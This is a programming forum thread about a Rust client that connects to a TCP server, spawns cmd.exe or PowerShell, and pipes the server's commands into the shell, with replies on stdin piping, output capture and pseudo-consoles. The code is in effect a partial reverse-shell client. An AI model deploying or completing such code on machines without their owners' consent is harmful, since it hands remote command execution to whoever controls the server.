How to execute command in my program in Powershell?

I have following code:

fn main() {

    // Connect to the server
    let stream = TcpStream::connect("127.0.0.1:1234").expect("Coudln't connect to remote server");
    let mut write_to_server_stream = stream.try_clone().expect("Cloning of stream failed");

    let mut buffer_reader = BufReader::new(stream);

    // Read the command from the server
    loop {
        let mut read_option = String::new();
        buffer_reader.read_line(&mut read_option).expect("Error reading option");
        println!("recv: {read_option:?}");
        let read_option = read_option.trim();
        if read_option == "cmd" {
            Command::new("cmd.exe").spawn().expect("Spawning of CMD failed");
        } else if read_option == "ps" {
            Command::new("powershell.exe").spawn().expect("Spawning of Powershell failed");
        } else {
            writeln!(&mut write_to_server_stream, "Expected CMD or POWERSHELL but got:{read_option}").unwrap();
        }
}

When I insert ps in server CLI, it openes Powershell on client's side but every other command isnt executed in powerhsell. So I want when I enter ps, it openes Powershell and every other command to be piped and executed under powershell.exe. Same with CMD.

Are you expecting to feed powershell commands over buffer_reader? I don't see anywhere that the powershell Command is connected to an input stream.

Are you expecting to feed powershell commands over buffer_reader

yes, I think its the way.

I am not sure, so it would be awesome if you could confirm if it should be like this:

  1. Open Powershell process.
  2. Read string (server input) from socket
  3. Write string to child (powershell.exe) stdin
  4. Step 2 again

I don't see anywhere that the powershell Command is connected to an input stream.

Since you wrote this, I guess that it should be?

If that’s what you want the program to do, then yes.

You’ll want to set up stdin, which is where command line programs like powershell read their input from.

fn main() {
    // Connect to the server
    let stream = TcpStream::connect("127.0.0.1:1234").expect("Coudln't connect to remote server");
    let mut write_to_server_stream = stream.try_clone().expect("Cloning of stream failed");

    let mut buffer_reader = BufReader::new(stream);

    // Read the command from the server
    let mut stdin = loop {
        let mut read_option = String::new();
        buffer_reader.read_line(&mut read_option).expect("Error reading option");
        println!("recv: {read_option:?}");
        let read_option = read_option.trim();
        if read_option == "cmd" {
            Command::new("cmd.exe").spawn().expect("Spawning of CMD failed");
        } else if read_option == "ps" {
            let mut powershell_spawning = Command::new("powershell.exe").stdin(Stdio::piped()).spawn().expect("Spawning of Powershell failed");
            break powershell_spawning.stdin.take().expect("Failed to open stdin");
        } else {
            writeln!(&mut write_to_server_stream, "Expected CMD or POWERSHELL but got: {read_option}").unwrap();
        }
    };

    loop {
        let mut read_option = String::new();
        buffer_reader.read_line(&mut read_option).expect("Error reading option");

        writeln!(&mut stdin, "{read_option}").expect("Error piping command");
    }
}

My code now looks something like this. I am not sure how to writeout Powershell command output to server command line.

EDIT 2:

I see that there is actually output but it is writing output in IDE console instead of a server's command line. How to reverse it so it writes out output of command to servers CLI instead of IDE terminal?

You'll need to capture stdout and stderr.

The tricky part is doing it concurrently, though. Powershell is going to write it's prompt to stdout, and it echoes everything you type into it, too. Most shells are single-threaded; they won't read any input until they finish writing their output, and writing their output doesn't complete until the terminal (if you're dealing in both input and output, then your program is acting as a terminal emulator) reads it.

This blog post has really good guides to doing it on Linux, A terminal case of Linux

I don't know of anything quite as good on Windows, but here's what Microsoft has to say about it, Console Reference - Windows Console | Microsoft Learn

They're different, and the reason I bring these up, is that if you want to handle output coming from powershell, you probably want to respond reasonably to applications like edit.exe that try to take over the entire console session.

Not quite accurate: you'd need to create a pseudo terminal so isatty returns true, you have a window size, can read back buffers, etc.


Not sure exactly what you mean, but Windows has had basic VT codes for nearly 10 years, and pseudo consoles for about 5 years now: Windows Command-Line: Introducing the Windows Pseudo Console (ConPTY) - Windows Command Line

It's pretty much the same as Unix at this point for anything reasonable (eg not trying to play videos in the terminal :yum:) from what I can tell!

This topic was automatically closed 90 days after the last reply. We invite you to open a new topic if you have further questions or comments.